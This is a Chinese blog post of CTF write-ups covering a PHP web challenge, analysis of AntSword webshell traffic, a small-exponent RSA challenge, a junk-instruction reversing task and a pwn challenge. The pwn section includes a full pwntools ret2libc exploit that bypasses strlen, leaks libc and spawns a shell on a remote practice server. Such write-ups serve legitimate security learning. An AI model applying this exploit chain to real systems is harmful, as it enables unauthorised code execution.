当前位置: 首页 > article >正文

2025.2.7

Web [LitCTF 2023]PHP是世界上最好的语言!!:

这个题要知道php代码命令怎么写:

首先是基础语法最常用的标签是 <?php ... ?>,比如:<?php

echo "Hello, World!";

?>

其中还有注释。注释是代码中的说明性文字,不会被执行。PHP支持两种注释方式:

    1. 单行注释:使用 // 或 #
    2. 多行注释:使用 /* ... */

还有变量:PHP中的变量以 $ 符号开头,后面跟变量名。变量名区分大小写。比如:$message = "Hello, World!";

echo $message;

还有数据类型:PHP支持多种数据类型,包括字符串、整数、浮点数、布尔值、数组和对象等。比如:$string = "Hello";

$integer = 42;

$float = 3.14;

$boolean = true;

$array = array(1, 2, 3, 4, 5);

$object = new stdClass();

还有运算符:

PHP支持多种运算符,包括算术运算符、赋值运算符、比较运算符、逻辑运算符等。比如:

$a = 5;

$b = 10;

$sum = $a + $b; // 算术运算符

$a += 5;        // 赋值运算符

$isGreater = $a > $b; // 比较运算符

$andResult = $a > 0 && $b > 0; // 逻辑运算符

还有控制结构:PHP支持多种控制结构,如条件语句和循环语句。比如: // 条件语句

if ($a > $b) {

    echo "a is greater than b";

} else {

    echo "a is not greater than b";

}

// 循环语句

for ($i = 0; $i < 10; $i++) {

    echo $i;

}

其次还有函数:函数是一段可以重复使用的代码块。比如使用 function 关键字来定义函数

function greet($name) {

    return "Hello, " . $name;

}

echo greet("Alice");这里我自己总结了一点php常用函数

还有类和对象:PHP支持面向对象编程(OOP)。您可以使用 class 关键字来定义类,并使用 new 关键字来创建对象。比如:class Person {

    public $name;

    public function __construct($name) {

        $this->name = $name;

    }

    public function greet() {

        return "Hello, " . $this->name;

    }

}

$person = new Person("Bob");

echo $person->greet();

根据题目,flag在目录里打开懵了,差点以为自己进错网站了 先看源代码,有没有跟flag有关的信息在尝试一下,工具能用 尝试一下,应该能用先看ls,有变化ok,在查看上一级目录,看见flag然后得到flag

MISC  [LitCTF 2024]女装照流量:

这个题要知道过滤特定HTTP方法:

  • 过滤GET请求:http.request.method == "GET"
  • 过滤POST请求:http.request.method == "POST"

还有蚁剑的流量为url编码+base64混淆。我们需要先进行url解密,在进行base解密

统计一看,http占大多数看了半天发现了个压缩包直接进行binwalk分离,得到压缩包,要密码不用多说,密码肯定在流量里面,在tcp26直接解码再将得到的最后两行删掉"参数名,&,="后 base64 解密得到密码 得到密码后直接解压得到flag

CRYPTO  [LitCTF 2024]small_e;

解压得到一个程序分析程序:

该程序是一个使用RSA加密算法的简单实现,用于加密一个字符串(flag)并将其密文输出。程序首先生成两个1024位的大素数p和q,然后计算它们的乘积n作为模数。接着,选择一个小的正整数e(在这个例子中为3)作为加密指数。对于字符串flag中的每个字符,程序计算其ASCII值的e次方模n,并将结果存储在c_list列表中。最后,程序输出模数n和密文列表c_list。直接写一个脚本得到flag:LitCTF{you_know_m_equ4l_cub3_root_0f_n}   

 REVERSE  [HNCTF 2022 WEEK2]e@sy_flower:

个人推荐不了解花指令的朋友去看这篇文章:

https://blog.csdn.net/Sciurdae/article/details/133750478

先查壳,32位ida打开 先搜索,看见flag看见花指令找到花指令因为上面写的是loc_4010D4 +1所以我们只需要把0x4010D4地址的机械码E9这一位改成0x90即nop指令即可。将E9改成90 随后到main函数最开头按p,就得到 直接查看反编译 分析代码:第一段代码看上去的作用应该是把字符串里的顺序重新排列了一下,循环的次数就是字符串的长度除以2.
第二段代码的作用就是正常的异或字符串,然后循环次数就是字符串的长度。
字符串也在第二段代码中,现在所有的解题元素都有了。
说实话只要看懂这两段代码你就会发现基本上没有什么要修改的内容,直接照搬代码就行了。

总结就是:思路就是输入的flag先互换位置,再与0x30异或。

用逆向脚本得到flag  

pwn  [LitCTF 2023]狠狠的溢出涅~:

先连接尝试,结果没有

先查壳,一个是64 另一个也是64

题目提供了libc,用不到LibcSearcher,直接反编译 main函数存在栈溢出漏洞,但是程序使用strlen防止用户进行栈溢出。使用\x00截断strlen函数即可,然后就是常规的ROP链。
我们只需要使用\x00绕过strlen函数即可。于是得到EXP:

from PwnModules import *

#io = process('./pwn4')

io = remote('node4.anna.nssctf.cn', 28413)

elf = ELF('./pwn41')

libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')

context(arch='amd64', os='linux', log_level='debug')

Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)

rdi = 0x4007D3

ret = 0x400556

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

main = elf.sym['main']

Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendline(Payload)

io.recvuntil(b'Ok,Message Received\n')

addr = leak_addr(2, io)

print(hex(addr))

base = addr - libc.sym['puts']

system = base + libc.sym['system']

binsh = base + next(libc.search(b'/bin/sh\x00'))

Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

io.sendline(Payload)

io.interactive()

运行得到flag


http://www.kler.cn/a/537096.html

相关文章:

  • Class加载流程和运行时区域
  • 作为高级测试工程师,如何用AI进行进一步提升?DeepSpeek的回答
  • 深度学习篇---深度学习相关知识点关键名词含义
  • linux常用基础命令 最新1
  • 【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-Chapter2-HTML 中的 JavaScript
  • GitHub 使用教程:从入门到进阶
  • 多数据源配置及使用,在同一个方法下切换数据源。
  • 基于JUnit4和JUnit5配合例子讲解JUnit的两种运行方式
  • 笔记本电脑屏幕泛白问题解决详解(AMD显卡)
  • .NET 8 WebAPI文件下载包含断点续传和取消下载
  • STM32 CUBE Can调试
  • (11)gdb 笔记(4):设置执行方向 set exec-direction,
  • OpenCV:图像修复
  • RabbitMQ 从入门到精通:从工作模式到集群部署实战(四)
  • CSS 伪类(Pseudo-classes)的详细介绍
  • Java基础学习笔记-封装
  • Python在数据科学中的高效应用:从数据处理到模型部署的实战指南
  • 高效运维!K8s 多节点自动安全排空
  • 为多个GitHub账户配置SSH密钥
  • PostgreSQL 中的 EXTRACT 函数_操作日期
  • 服务器磁盘高占用排查
  • Qt 数据库SQLite 使用【01】基本功能
  • Lua中文语言编程源码-第十一节,其它小改动汉化过程
  • Android studio 创建aar包给Unity使用
  • 使用 Axios ——个人信息修改
  • ES6 Set 数据结构用法总结